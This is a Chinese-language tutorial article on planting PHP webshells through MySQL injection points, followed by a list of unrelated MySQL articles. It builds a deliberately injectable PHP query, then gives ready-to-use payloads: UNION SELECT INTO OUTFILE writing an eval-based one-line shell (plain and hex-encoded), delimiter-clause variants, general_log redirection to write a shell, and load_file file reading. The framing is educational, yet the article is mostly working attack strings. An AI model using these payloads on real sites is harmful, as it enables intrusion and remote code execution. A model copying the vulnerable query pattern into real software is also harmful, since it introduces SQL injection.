MySQL注入点写入WebShell的几种方式

 更新时间:2025年12月17日 10:57:43   作者:立志成为网安大牛  
本文主要介绍了MySQL注入点写入WebShell的几种方式,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。

0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

grant file on *.* to 'test'@'localhost';

但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功

mysql> show variables like '%sec%'
    -> ;
+--------------------------+----------+
| Variable_name            | Value    |
+--------------------------+----------+
| require_secure_transport | OFF      |
| secure_auth              | ON       |
| secure_file_priv         |          |
+--------------------------+----------+

1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv

​ 1、限制mysqld 不允许导入 | 导出

​ --secure_file_prive=null

​ 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

​ --secure_file_priv=/tmp/

​ 3、不对mysqld 的导入 | 导出做限制

​ --secure_file_priv=

linux

cat /etc/my.cnf

[mysqld]
secure_file_priv=

win

my.ini

[mysqld]
secure_file_priv=

2、使用test用户连接数据库。

<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%';             # 查看配置
set global general_log = on;               # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             # 写入shell
set global general_log=off;                  # 关闭general log模式

附录:高权限文件读取

load_file()读文件——select load_file(‘目录’)。路径使用\\ ,否则会被当作转义符号。

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

到此这篇关于MySQL注入点写入WebShell的几种方式的文章就介绍到这了,更多相关MySQL注入点写入WebShell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • mysql数据库limit的四种用法小结

    mysql数据库limit的四种用法小结

    mysql数据库中limit子句可以被用于强制select语句返回指定的记录数,本文主要介绍了mysql数据库limit的四种用法小结,感兴趣的可以了解一下
    2023-10-10
  • 基于MySQL数据库的数据约束实例及五种完整性约束介绍

    基于MySQL数据库的数据约束实例及五种完整性约束介绍

    今天小编就为大家分享一篇关于基于MySQL数据库的数据约束实例及五种完整性约束介绍,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2019-01-01
  • MySQL中你可能忽略的COLLATION实例详解

    MySQL中你可能忽略的COLLATION实例详解

    mysql的collation大致的意思就是字符序,这篇文章主要给大家介绍了关于MySQL中COLLATION的相关资料,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-05-05
  • mysql三张表连接建立视图

    mysql三张表连接建立视图

    本篇文章给大家分享了mysql三张表连接建立视图的相关知识点,有需要的朋友可以参考下。
    2018-06-06
  • 详解MySQL从入门到放弃-安装

    详解MySQL从入门到放弃-安装

    这篇文章主要介绍了MySQL从入门到放弃-安装,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-04-04
  • 关于MySQL性能调优你必须了解的15个重要变量(小结)

    关于MySQL性能调优你必须了解的15个重要变量(小结)

    MYSQL 应该是比较流行的 WEB 后端数据库。虽然 NOSQL 最近越来越多的被提到,但是相信大部分架构师还是会选择 MYSQL 来做数据存储。本文作者总结梳理MySQL性能调优的15个重要变量,感兴趣的可以了解一下
    2019-07-07
  • mysql慢查询介绍及开启技巧详解

    mysql慢查询介绍及开启技巧详解

    这篇文章主要为大家介绍了mysql慢查询介绍及开启技巧详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-05-05
  • SQL使用聚集函数实现对数据汇总

    SQL使用聚集函数实现对数据汇总

    这篇文章主要介绍了SQL使用聚集函数实现对数据汇总,文章围绕主题展开详细的内容介绍,具有一定的参考价值,需要的小伙伴可以参考一下
    2022-09-09
  • MySQL 复合查询案例详解

    MySQL 复合查询案例详解

    这篇文章主要介绍了MySQL 复合查询案例详解,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧
    2025-05-05
  • MySQL实现简单的创建库和创建表操作方法

    MySQL实现简单的创建库和创建表操作方法

    MySQL是最常用的数据库,在数据库操作中基本都是增删改查操作,简称CRUD,这篇文章主要给大家介绍了关于MySQL实现简单的创建库和创建表操作方法的相关资料,需要的朋友可以参考下
    2023-11-11

最新评论